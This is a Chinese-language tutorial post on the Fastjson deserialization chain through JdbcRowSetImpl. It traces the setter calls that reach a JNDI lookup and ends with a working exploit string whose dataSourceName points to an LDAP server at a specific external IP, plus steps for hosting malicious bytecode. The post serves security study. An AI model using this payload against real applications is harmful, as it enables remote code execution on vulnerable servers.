目录
简要原理分析
exp
前文:【Web】速谈FastJson反序列化中TemplatesImpl的利用
简要原理分析
前文的TemplatesImpl链存在严重限制,即JSON.parseObject()需要开启Feature.SupportNonPublicField
fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,其原理就是setter的自动调用
先来看JdbcRowSetImpl的setDataSourceName方法
public void setDataSourceName(String var1) throws SQLException {if (this.getDataSourceName() != null) {if (!this.getDataSourceName().equals(var1)) {super.setDataSourceName(var1);this.conn = null;this.ps = null;this.rs = null;}} else {super.setDataSourceName(var1);}}
会进到super.setDataSourceName(),其实就是给dataSource赋值为我们传入的值,合情合理
public void setDataSourceName(String name) throws SQLException {if (name == null) {dataSource = null;} else if (name.equals("")) {throw new SQLException("DataSource name cannot be empty string");} else {dataSource = name;}URL = null;}
再来看JdbcRowSetImpl的setAutoCommit方法,注意到当conn为null时(初始就是null),就会调用connect方法
public void setAutoCommit(boolean var1) throws SQLException {if (this.conn != null) {this.conn.setAutoCommit(var1);} else {this.conn = this.connect();this.conn.setAutoCommit(var1);}}
继续看connect方法,显然conn为空且我们有DataSourceName属性,进到else if的分支,调用(new InitialContext()).lookup(),经典何须多言,只要dataSourceName设为恶意远程RMI服务或LDAP服务打JNDI即可
private Connection connect() throws SQLException {if (this.conn != null) {return this.conn;} else if (this.getDataSourceName() != null) {try {InitialContext var1 = new InitialContext();DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();} catch (NamingException var3) {throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());}} else {return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;}}
exp
package com.FJ;import com.alibaba.fastjson.JSON;public class FJ {public static void main(String[] args) {String s="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://124.222.136.33:1337/#suibian\", \"autoCommit\":true}";Object object = JSON.parse(s);}
}
开一个恶意LDAP服务器
找个端口放恶意字节码